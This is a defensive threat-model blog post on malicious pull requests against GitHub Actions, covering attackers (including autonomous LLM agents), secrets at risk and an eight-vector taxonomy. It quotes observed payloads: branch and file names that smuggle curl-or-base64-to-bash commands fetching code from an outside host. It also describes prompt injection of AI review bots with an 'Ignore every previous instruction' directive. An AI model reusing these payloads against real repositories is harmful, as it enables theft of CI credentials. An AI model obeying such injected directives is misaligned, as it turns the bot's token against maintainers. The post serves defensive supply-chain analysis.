Malicious Pull Requests: A Threat Model
Table of Contents
A survey of publicly documented malicious-PR campaigns against GitHub Actions, compiled into a threat model. Covers the attacker, assets at risk, the attacker’s controllable surface, and a vector taxonomy. Reflects the landscape as of mid-2026.
Scope
External pull requests opened against repositories that run GitHub Actions. Covered: attacker, goals, assets at risk, controllable surface, vector taxonomy. Deferred: detection architecture.
Context
On a fork PR into a public repository, the default setting Require approval for outside contributors produces two parallel states:
- Check runs from installed GitHub Apps fire immediately on PR open.
- Workflow runs sit in
action_requireduntil a maintainer clicks Approve and run.
Attacker model
- Primary actor. Autonomous LLM-based agents (
hackerbot-clawstyle) operating at ecosystem scale. Observed: 16 PRs across 9 repositories in 4 days (Feb 27 to Mar 2, 2026), hitting Microsoft, Datadog, Aqua Security (Trivy), CNCF Akri, RustPython, awesome-go. - Secondary actor. Human supply-chain attacker targeting a single high-value project (Trivy). Indistinguishable from the bot at PR submission time.
- Capability. Opens PRs from a fork, controls every byte the PR carries, can comment. Cannot push to the base repository.
- Out of scope. Compromised maintainer accounts, insider threat, self-hosted runner escape, compromise of existing trusted actions.
Attacker goals
Ordered by observed frequency:
- Credential exfiltration from the CI runner.
GITHUB_TOKEN, npm / PyPI / cargo tokens, cloud credentials, SSH keys, registry tokens. tj-actions, s1ngularity / Nx, Trivy. - Repository write and tag poisoning. Force-push commits to tags, rename the repository, delete releases. Trivy: 75 of 76
trivy-actiontags and all 7setup-trivytags force-pushed. - Supply chain propagation via stolen package tokens. Shai-Hulud pattern. Attackers weaponised 64 npm packages within 24h of the Trivy compromise and republished 28
@emilgrouppackages in under 60s. - AI-review-bot hijack via prompt injection. The bot acts with its own GitHub token (modifies CODEOWNERS, mass-labels, pushes commits).
- Opportunistic crypto-mining or worm hosting on CI compute.
Assets at risk
GITHUB_TOKENissued to the workflow.pull_request_targetdefault scope:contents: write+pull_requests: write.- Repository secrets under
${{ secrets.* }}: cloud, registry, signing, cross-org PATs. actions/cacheentries scoped by ref and readable frommain.- Identity credentials of installed AI bots (Claude Code Action, Copilot, Devin).
- Downstream published artifacts (npm, PyPI, OCI, GitHub Releases) and every consumer pinning mutable tags.
Controllable surface
| Attacker controls | Stays trusted |
|---|---|
| PR diff: contents, paths, new files, deletions | Workflow files at main (pull_request_target reads base) |
| PR title, body, head branch name, head SHA | Repository secrets |
| Commit messages, unsigned author / committer names and emails | Branch protection on merge |
| PR comments | Triggers and jobs defined on the base repository |
Key asymmetry. An attacker cannot edit a workflow in their fork and have the edited version run on the PR under pull_request_target. They must find a vulnerable workflow already on main and feed it attacker-controlled input.
Attack-vector taxonomy
| # | Name | Mechanism | Pre-condition on the victim repo |
|---|---|---|---|
| V1 | Expression injection into run: | Attacker-controlled string (branch name, filename, PR title / body) interpolated via ${{ }} into a shell block. Bash evaluates $(...), ${IFS}. | Any workflow interpolating untrusted context into run:. |
| V2 | Pwn request (classic) | pull_request_target + checkout of PR head + build step (npm ci, make, go build, pytest). preinstall / Makefile / init() / conftest.py runs with secrets. | pull_request_target, checkout of untrusted ref, untrusted exec. |
| V3 | Lockfile / manifest poisoning | PR changes package-lock.json, go.sum, poetry.lock to pull a malicious version. Executes at install (V2) or post-merge for consumers. | Any CI step that installs dependencies. |
| V4 | Prompt injection against AI reviewer | PR body, issue body, CLAUDE.md, code comments carry override directives. Bot acts on them with its token. | A workflow invoking an AI reviewer on untrusted PR / issue text. |
| V5 | Cache poisoning | Fork-triggered workflow writes an actions/cache key later read by a privileged workflow on main. | Cache keys not scoped by github.ref or head SHA. |
| V6 | Workflow-file modification on merge | PR edits .github/workflows/*.yml. Activates on merge, or earlier via V2. | Maintainer merging without auditing workflow diffs. |
| V7 | Comment-triggered privileged workflow | /format, /test style trigger without author_association check. | on: issue_comment gated by regex, not role. |
| V8 | workflow_run chaining | Downstream workflow_run reads artifact / PR number from a PR-triggered run and acts on it with secrets without re-validating inputs. | Two-stage pull_request + workflow_run without input checks. |
V1, V2, V3 dominate observed attacks. V4 is growing with AI-review-bot adoption; Aikido classified a set of these as PromptPwnd. V5 through V8 are rarer and higher-impact when present. The foundational reference for V2 is GitHub SecurityLab’s 2021 Preventing pwn requests.
Three structural PR shapes
- Innocuous diff, payload in metadata. Trivial diff. Payload in the branch name, filename, or PR title. Examples:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)(Microsoft AI Discovery, RustPython),$(echo${IFS}Y3VybC...|base64${IFS}-d|bash).md(Datadog IaC scanner). Relies on V1. - Helpful contribution, toxic payload. Legitimate-looking fix that adds
preinstall/postinstalltopackage.json, edits aMakefile, adds a Goinit(), or modifiesconftest.py. Relies on V2. - Prompt trap. PR body, issue body,
CLAUDE.mdedit, or code comment with “Ignore every previous instruction…” targeting Claude Code Action / Copilot / Devin. Relies on V4. Same class surveyed in the AI-native SDLC threat model.
Pre-approval observables
Observable before the Approve click:
- Full PR diff, file list, commit SHAs, messages, author emails, signature state.
- PR title, body, head branch name, head SHA.
- Base repository workflow files at
main. Enables static enumeration of which of V1 through V8 apply to this specific repo. - Author association and prior PR history.
- File-level risk flags: lockfile touched,
Makefileadded, workflow file edited,CLAUDE.mdmodified.
Not observable:
- Workflow runtime behaviour (nothing has run).
- Secret values.
- Outbound network activity.
- Whether the maintainer will approve, or when.
The check run has seconds to land before the Approve click.
Blast radius
- Contained. Secrets narrowly scoped, branch protection prevents tag force-push,
GITHUB_TOKENread-only. Attacker gains RCE on one runner, exits empty-handed. Datadog IaC scanner outcome. - Uncontained. Cross-org PAT in the runner, tags not guarded, release signing absent. Attacker exfiltrates the PAT, force-pushes tags, and within an hour ~10,000 downstream workflows resolve to attacker artifact. Package tokens weaponised shortly after. Trivy outcome.
Severity of the same exploit spans three orders of magnitude across these two postures. A useful severity model treats repository configuration as primary input.
Out of scope
- Self-hosted runner escapes.
- Compromised maintainer or insider.
- Post-merge tag poisoning (triggered by
pushto tags). - Classical source-code vulnerabilities in the PR (SAST / existing malysis territory).
Glossary
- Pwn request. A workflow triggered by an external PR that gains write access to the target repository and / or secrets while executing untrusted code. Term from GitHub SecurityLab, 2021.
pull_request_target. Actions trigger that runs with base-repo context, secrets, and a write-scopedGITHUB_TOKEN, regardless of which branch opened the PR. Intended for passive PR operations.action_required. GitHub conclusion state for a workflow run queued but blocked on maintainer approval. Never executes until approved.- Check run. A Checks API object created by a GitHub App, independent of Actions. Fires on PR open for installed Apps.
- Shai-Hulud. Worm campaign that exfiltrates npm publish tokens from CI and republishes trojanised packages across the registry.
References
- Preventing pwn requests, GitHub SecurityLab, 2021.
- When an AI agent came knocking, Datadog, 2026.
- Detecting malicious pull requests at scale with LLMs, Datadog, 2026.
- hackerbot-claw: AI-Powered Bot Exploiting GitHub Actions, StepSecurity, 2026.
- How JFrog’s AI-Research Bot Found OSS CI/CD Vulnerabilities, JFrog, 2026.
- Trivy Supply Chain Compromise, SafeDep, 2026.
- PromptPwnd in GitHub Actions and GitLab CI, Aikido, 2026.
- Managing GitHub Actions settings for a repository, GitHub Docs.
- supply-chain-security
- threat-model
- github-actions
- pull-request
- ci-cd
- security
- pwn-request
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

ixpresso-core: Windows RAT Disguised as a WhatsApp Agent
ixpresso-core poses as an AI WhatsApp agent on npm but installs Veltrix, a Windows RAT that steals browser credentials, Discord tokens, and keystrokes via a hardcoded Discord webhook.

forge-jsx npm Package: Purpose-Built Multi-Platform RAT
forge-jsx poses as an Autodesk Forge SDK on npm. On install it deploys a system-wide keylogger, recursive .env file scanner, shell history exfiltrator, and a WebSocket-based remote filesystem...

PMG dependency cooldown: wait on fresh npm versions
Package Manager Guard (PMG) blocks malicious installs and now supports dependency cooldown, a configurable window that hides brand-new npm versions during resolution so installs prefer older,...

Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer
js-logger-pack spent three weeks on npm evolving from a probe into a full infostealer and then a binary dropper. Early versions installed an SSH backdoor, hijacked Telegram sessions, drained 27...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
